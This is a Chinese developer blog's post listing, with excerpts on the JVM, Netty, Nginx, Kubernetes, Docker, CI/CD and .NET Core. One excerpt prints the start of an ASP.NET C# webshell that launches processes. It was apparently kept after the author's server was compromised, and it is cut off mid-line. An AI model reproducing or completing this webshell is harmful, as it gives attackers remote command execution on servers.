- 博客(594)
- 资源 (33)
- 收藏
- 关注
原创 java对象逃逸,对象分配在栈里
在Java虚拟机中,对象是在Java堆中分配内存的,这是一个普遍的常识。但是,有一种特殊情况,那就是如果经过逃逸分析(Escape Analysis)后发现,一个对象并没有逃逸出方法的话,那么就可能被优化成栈上分配。这样就无需在堆上分配内存,也无须进行垃圾回收了。这也是最常见的堆外存储技术。
2023-03-18 21:18:18
8
原创 Java虚拟机JVM-面试题
在编译生成的字节码中,每个方法都附带一个异常表。异常表中的每一个条目代表一个异常处理器,并且由 from 指针、to 指针、target 指针以及所捕获的异常类型构成。这些指针的值是字节码索引(bytecode index,bci),用以定位字节码。其中,from 指针和 to 指针标示了该异常处理器所监控的范围,例如 try 代码块所覆盖的范围。target 指针则指向异常处理器的起始位置,例如 catch 代码块的起始位置。
2023-03-05 20:36:06
224
原创 Java虚拟机JVM-运行时数据区域说明
HotSpot虚拟机中含有两个即时编译器,分别是编译耗时短但输出代码优化程度较低的客户端编译器(简称为C1)以及编译耗时长但输出代码优化质量也更高的服务端编译器(简称为C2),通常它们会在分层编译机制下与解释器互相配合来共同构成HotSpot虚拟机的执行子系统。自JDK 10起,HotSpot中又加入了一个全新的即时编译器:Graal编译器,看名字就可以联想到它是来自于前一节提到的Graal VM。Graal编译器是以C2编译器替代者的身份登场的。
2023-03-05 13:22:05
351
原创 Netty入门学习笔记3-异步提升的是什么
单线程没法异步提高效率,必须配合多线程、多核 cpu 才能发挥异步的优势。异步提升的是吞吐量:单位时间内处理请求的数据量,而非提升相应相应时间。异步并没有缩短响应时间,反而有所增加。合理进行任务拆分,也是利用异步的关键。
2023-02-26 17:48:02
21
原创 Netty入门学习笔记2-核心组件EventLoop
EventLoopGroup 是一组 EventLoop,Channel 一般会调用 EventLoopGroup 的 register 方法来绑定其中一个 EventLoop,后续这个 Channel 上的 io 事件都由此 EventLoop 来处理(保证了 io 事件处理时的线程安全) (EventLoopGroup 可翻译为 事件循环组 )EventLoop 本质是一个单线程执行器(同时维护了一个 Selector),里面有 run 方法处理 Channel 上源源不断的 io 事件。
2023-02-25 17:12:48
251
原创 java网络编程-nio学习:阻塞和非阻塞
阻塞模式下,相关方法都会导致线程暂停ServerSocketChannel.accept 会在没有连接建立时让线程暂停SocketChannel.read 会在没有数据可读时让线程暂停阻塞的表现其实就是线程暂停了,暂停期间不会占用 cpu,但线程相当于闲置单线程下,阻塞方法之间相互影响,几乎不能正常工作,需要多线程支持但多线程下,有新的问题,体现在以下方面。
2023-02-20 10:54:26
327
原创 java-NIO学习-字符串存入ByteBuffer的几种方法
ByteBuffer 有以下重要属性capacitypositionlimit一开始写模式下,position 是写入位置,limit 等于容量,下图表示写入了 4 个字节后的状态flip 动作发生后,position 切换为读取位置,limit 切换为读取限制读取 4 个字节后,状态clear 动作发生后,状态compact 方法,是把未读完的部分向前压缩,然后切换至写模式。
2023-02-18 17:38:57
41
原创 springboot与maven的多环境兼容解决方案
(2)每个环境profile我们添加多个属性值,这个值可以在application.yml/application.properties等配置文件中使用,比如我们这配置的pom.profile,这个名字可以自定义;配置了3个环境,spring.profiles(或spring.config.activate.on-profile)配置的值对应的环境。二、继续在pom.xml里配置,在build里添加插件,让pom.xml里的属性值可以在其他地方使用。这个占位符就是从pom.xml的环境属性中获取的。
2022-10-07 17:13:51
421
原创 私有化部署gitlab,webhooks代码提交和mereged自动触发kubesphere的deveops流水线
也就是说,Jenkinsfile文件必须git仓库里,我们一般将Jenkinsfile文件放在源码一起同的git仓库,习惯我们放在git仓库的一级目录。1、创建流水线,点击“代码仓库”---"git",我们在内网搭建的gitlab私有仓库,所以这里选择"git",填写git地址和凭证,点击对钩,“下一步”。2、设置Jenkinsfile路径和查看WebHook地址,如下图记住这里的WebHook地址。“正则过滤”可以过滤分支,比如我们只创建develop分支,正则里填写“develop”;
2022-09-22 18:15:35
762
转载 基于Gitlab钩子提交合并代码触发jenkins构建
刚开始做的时候,根据网上提供的几篇文章去测试,都发现一个问题,当开发者提交合并代码的请求时,管理员还没同意merge,gitlab webhook 就去通知jenkins 执行构建任务,管理员同意merge 后,jenkins 却没有收到任务构建任务。后来发现合并请求审批者同意合并时发起的是push请求,总以为是merge请求。
2022-09-22 17:46:18
585
原创 centos安装Nginx
systemctl list-units --type=service 查看所有已启动的服务。systemctl start nginx.service 启动nginx服务。systemctl stop nginx.service 停止服务。[Install]运行级别下服务安装的相关设置,可设置为多用户,即系统运行级别为3。注意若已经用第4步已启动nginx,则需要杀掉进程,才可使用以上的命令。行末加上自己的nginx安装目录下sbin目录的地址。.......
2022-08-31 17:04:58
552
原创 k8s中对pod设置限制只设置了limits
我们使用deployment控制器来创建pod资源,一般会设置容器资源限制,也就是 resources 。一般来说会设置limits和requests 里的cpu和内存值。我们先说下这两个维度: 1、资源需求request:即运行Pod的节点必须满足运行Pod的最基本需求才能运行Pod。 如: Pod运行至少需要2G内存,1核CPU 2、资源限额limits:即运行Pod期间,可能内存使用量会增加,那最多能使用多少内存,这就是资源限额。比如:# kubectl descri...
2022-04-29 16:40:01
3263
原创 centos 安装 最新版 skywalking 8.9.1
一、相关网址1、官网(可以下载,查看文章)https://skywalking.apache.org/downloads/2、github地址:(可提问题寻求帮助)https://github.com/apache/skywalking二、实验环境操作系统 centos 7.9先安装好 elasticsearch 7.16.2操作系统安装好jdk 8-17 ,实验机器jdk 11java下载地址:https://www.oracle.com/java/techn...
2022-03-03 00:32:51
3249
原创 Nginx URL重写(rewrite)配置及信息详解
访问重写rewrite是Nginx HTTP请求处理过程中的一个重要功能,它是以模块的形式存在于代码中的,其功能是对用户请求的URI进行PCRE正则重写,然后返回30×重定向跳转或按条件执行相关配置。rewrite模块内置了类似脚本语言的set、if、break、return配置指令,通过这些指令,用户可以在HTTP请求处理过程中对URI进行更灵活的操作控制。rewrite模块提供的指令可以分两类,一类是标准配置指令,这部分指令只是对指定的操作进行相应的操作控制;另一类是脚本指令,这部分指令可以在HTTP指
2022-03-03 00:26:06
2073
原创 ElasticSearch基础的操作方法
1、服务粒度整体上来说,SOA(Service Oriented Architecture 面向服务的架构) 的服务粒度要粗一些,而微服务的服务粒度要细一些。例如,对一个大型企业来说,“员工管理系统”就是一个 SOA 架构中的服务;而如果采用微服务架构,则“员工管理系统”会被拆分为更多的服务,比如“员工信息管理”“员工考勤管理”“员工假期管理”和“员工福利管理”等更多服务。2、服务通信SOA 采用了 ESB 作为服务间通信的关键组件,负责服务定义、服务路由、消息转换、消息传递,总体...
2022-03-03 00:20:57
1148
原创 CentOS7 上使用yum安装 Nginx 1.20
Nginx是异步框架的网页服务器,也可以用作反向代理、负载平衡器和HTTP缓存。该软件由伊戈尔·赛索耶夫创建并于2004年首次公开发布。2011年成立同名公司以提供支持。2019年3月11日,Nginx公司被F5 Networks以6.7亿美元收购。Nginx是免费的开源软件,根据类BSD许可证的条款发布.前提条件请确保你以具有 root 权限的用户身份登录, 并且你没有在端口 80 或 443 上运行 Apache 或任何其他服务。在 CentOS 上安装 Nginx按照以下步骤.
2022-01-20 10:16:06
3078
1
原创 CICD持续集成部署系列9-Jenkins部署.NetCore微服务
CICD持续集成部署系列1- gitlab安装和使用CICD持续集成部署系列2-使用 harbor 搭建 Docker 私有仓库CICD持续集成部署系列3-Jenkins基础概念CICD持续集成部署系列4-Jenkins安装和常用插件CICD持续集成部署系列5-Jenkins与Git打通CICD持续集成部署系列6-NetCore项目编译发布构建镜像的方法说明CICD持续集成部署系列7- Jenkins项目构建-Pipeline流水线项目构建CICD持续集成部署系列8-Jenkin
2022-01-03 22:17:07
853
原创 .NetCore使用NacOS 2.0作为配置中心的方法
Nacos简介Nacos 致力于帮助您发现、配置和管理微服务。Nacos 提供了一组简单易用的特性集,帮助您快速实现动态服务发现、服务配置、服务元数据及流量管理。Nacos 帮助您更敏捷和容易地构建、交付和管理微服务平台。Nacos 是构建以“服务”为中心的现代应用架构 (例如微服务范式、云原生范式) 的服务基础设施。详情可以查看官网:https://nacos.io/zh-cn/docs/what-is-nacos.html搭建Nacos教程自建Nacos的方
2022-01-03 22:12:19
1544
1
原创 Linux多节点安装KubeSphere 3.2.1
KubeSphere 是在 Kubernetes 之上构建的以应用为中心的多租户容器平台,提供全栈的 IT 自动化运维的能力,简化企业的 DevOps 工作流。KubeSphere 提供了运维友好的向导式操作界面,帮助企业快速构建一个强大和功能丰富的容器云平台。KubeSphere 愿景是打造一个以 Kubernetes 为内核的云原生分布式操作系统,它的架构可以非常方便地使第三方应用与云原生生态组件进行即插即用(plug-and-play)的集成,支持云原生应用在多云与多集群的统一分发和运维管理。
2022-01-03 22:05:49
1061
原创 CICD持续集成部署系列2-使用 harbor 搭建 Docker 私有仓库
一、harbor 介绍harbor ['hɑ:bə ə] (海湾)是一个用于存储和分发Docker镜像的企业级Registry服务器。 Docker 容器应用的开发和运行离不开可靠的镜像管理,虽然 Docker 官方也提供了公共的镜像仓库,但是从安全和效率等方面考虑,部署我们私有环境内的 Registry 也是非常必要的。Harbor 是由 VMware 公司开源的企业级的Docker Registry 管理项目,它包括权限管理(RBAC)、LDAP、日志审核、管理界面、自我..
2021-12-30 23:05:39
883
原创 .Net Core 5 使用 Serilog记录日志并输出至ElasticSearch
.Net Core 5项目中日志组件Serilog将日志信息输出到ElasticSearch,然后可以在Kibana里查看。这个是比较常见的操作。今天就来讲解下具体的代码实现。前提:搭建好elk相关应用。一、代码实现1、Nuget添加包: Serilog.AspNetCoreSerilog.Extensions.LoggingSerilog.Sinks.Elasticsearch2、Program里添加代码: using Serilog;.
2021-12-30 23:01:14
2130
原创 centos安装 docker的教程
本文主要讲解docker的操作的整体过程,一边讲解操作,一遍讲解原理。docker操作一般分4个步骤:1、安装Docker;2、运行Docker;3、下载镜像;4、启动Docker容器实例;一、安装Docker我们使用的服务器环境是CentOs 7.9 。1、安装环境依赖yum install -y yum-utils device-mapper-persistent-data lvm22、配置国内 docker 的 yum
2021-11-04 13:25:37
2453
原创 Consul启动的常见命令解释,持久化命令
Consul的官方命令参数说明:Configuration | Consul by HashiCorpThe agent has various configuration options that can be specified via the command-line or via configuration files. All of the configuration options are completely optional. Defaults are specified with thei
2021-11-04 10:35:12
1934
转载 Linux-CentOS查看端口占用情况
1.查看被占用端口信息netstat -tunlp2.查看指定端口信息netstat -tunlp |grep 80803.查看占用的进程信息ps 291424.强行杀掉占用端口的进程(29142是进程PID)kill -9 29142本来来自:CentOS查看端口占用情况_pannijingling的技术博客_51CTO博客...
2021-11-04 10:04:39
316
原创 Docker的常用命令-启动,开机启动,重启策略,重命名
1、Docker 容器命名:运行时指定名字docker run -d --name 容器实例名 镜像名 要执行的命令---命名-d 后台执行比如:docker run -itd --name mytestname centos bash-it用于控制台交互,-d指定容器运行于前台还是后台,默认为falsedocker ps 查看正在运行中 的容器docker ps -a 可以将正在运行的,失败的,退出的容器都显示出来。...
2021-11-04 09:40:34
2243
原创 net5项目手动发布到Linux环境的docker的超级简单方法
本文讲解的是.net5创建的一个小项目Demo,发布后的文件,添加个Dockerfile 就可以在Docker上正常运行。写作的目的:1、不建议使用Visual Studio 自带的Dockerfile+Docker Desktop 这个组合,因为使用这个玩意,你都不知道它到底干了些啥。2、我们发布站点的通常做法是,使用VS发布项目到文件夹,然后将发布的文件夹拷贝到站点目录下,然后创建IIS站点,那么Docker环境下是否也可以这么操作呢?答案是肯定的。3、本地电脑安装了VM
2021-10-20 15:29:46
896
原创 nuget server服务器搭建
有的时候,我们想要制作一些nuget包,供自己内部调用,不想公开出去,那么就需要一个能够集中管理nuget包的服务了,今天我来给大家介绍一款轻便好用的包管理服务-----BaGet下载并部署BaGet服务端1、点击下载BaGet程序包 https://github.com/loic-sharma/BaGet/releases ,下载后解压可以看到下图目录2、将文件上传到服务器上,服务器上要安装 .netcore 3.1的sdkDownload .NET (Linux, macO
2021-10-12 14:36:39
256
原创 webshell的代码记录下,以后有空研究下这个玩意到底有多强大
<%@ Page Language="C#" Debug="true" Trace="false" %><%@ Import Namespace="System.Diagnostics" %><script Language="c#" runat="server">protected void FbhN(object sender,EventArgs e){try{Process ahAE=new Process();ahAE.StartInfo.Fil.
2021-10-10 13:22:38
132
原创 服务器开启防火墙后https站点无法访问
最近放服务器中病毒,各种webshell后门。开始了各种杀毒,开启防火墙,升级打补丁。结果吧我的https站点搞挂了,停了2天。又各种排查,到最后阿里云提交工单,才发现是防火墙的缘故,需要在服务器的防火墙开启443端口。windowns允许或禁止特定本地端口访问的方法如下:登录服务器 单击开始>控制面板>系统和安全>Windows 防火墙。 单击高级设置。 单击入站规则>新建规则。 单击规则类型,页面右侧选择端口。 ...
2021-10-10 13:11:03
168
原创 CentOS常用命令整理
1、查看ip地址:ifconfig若找不到该命令,则先安装下:yum install ifconfig2、修改ip地址查看网络配置:cd /etc/sysconfig/network-scripts/根据ifconfig就可以看出,本机的默认网卡为: ens33,或者其他名称。我们来修改vi /etc/sysconfig/network-scripts/ifcfg-ens33TYPE="Ethernet"PROXY_METHOD="none"...
2021-07-27 17:11:22
82
原创 NetCore多图片批量上传阿里云OSS,代码可以直接拿过来用
背景图片上传功能是web开发必不可少的功能。图片上传到哪里其实都是一个非常头疼的事情,多个文件源各种地址组合,经常会出现图片地址错误问题。自从前后端分离、小程序、app成为流行后,大家一般都会将文件、图片等静态资源存储在独立的一个源,公司可以自己搭建一个文件中心,更多的是将这些静态资源存放在像阿里云oss,七牛云等专业的文件资源存储。这样会减少很多不必要的麻烦。今天我们来写一个批量上传阿里云OSS的方法,大家可以直接拿来使用。很简单的。开发和配置开发环境:.NetCore3.1,Net5提前
2021-07-20 21:01:14
1607
3
原创 asp.net core 3.1 Cookie的公共方法
AppHttpContext的封装,请看我上一篇文章https://blog.csdn.net/puzi0315/article/details/108212189/// <summary> /// 沐雪微淘小程序商城 /// cookie设置 /// </summary> public static class CookieHelper { private static HttpResponse CurrentRe.
2021-07-12 16:37:10
194
1
原创 Linq中string转int的方法
string source = "1,2,3,4,5";List<int> result = new List<string>(source.Split(',')).ConvertAll(i => int.Parse(i));
2021-07-12 16:36:48
286
原创 2021年非常全的.NET Core面试题
1.如何在ASP.NET Core中激活Session功能? 首先要添加session包. 其次要在configservice方法里面添加session。然后又在configure方法里面调用usesession。。2.什么是中间件? 中间件在这里是指注入到应用中处理请求和响应的组件。是通过多个委托来嵌套形成的一个俄罗斯套娃!或者微软官方原话:http://www.zyiz.net/...
2021-07-11 14:05:42
21769
4
原创 2021年非常全的.NET Core面试题(二)
一.垃圾回收机制1. 简述一下一个引用对象的生命周期?(创建>使用>释放)new创建对象并分配内存对象初始化对象操作、使用资源清理(非托管资源)GC垃圾回收2. 创建下面对象实例,需要申请多少内存空间?publicclassUser{publicintAge{get;set;}publicstringName{get;set;}publicstring_Name="123"+"abc...
2021-07-11 14:04:11
3865
TortoiseGit 汉化包 git工具最新的git傻瓜式操作界面工具
2020-02-20
免费的制作gif_简单实用的GIF动图制作工具
2020-01-04
使用Hyperledger Composer开发区块链应用
2017-11-23
区块链|超级账本HyperLedger 入门基础讲解ppt
2017-09-21
ftp上传工具--LeapFTP
2011-12-29
winform换肤源码
2010-04-23
PowerDesigner的数据库设计与实现 PowerDesigner数据库建模技术
2010-03-11
jQuery 1.4.1 中文文档 CHM 版
2010-02-02
jQuery 的VS2008插件
2010-01-20
图形化硬盘分区软件 硬盘分区工具
2009-11-14
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人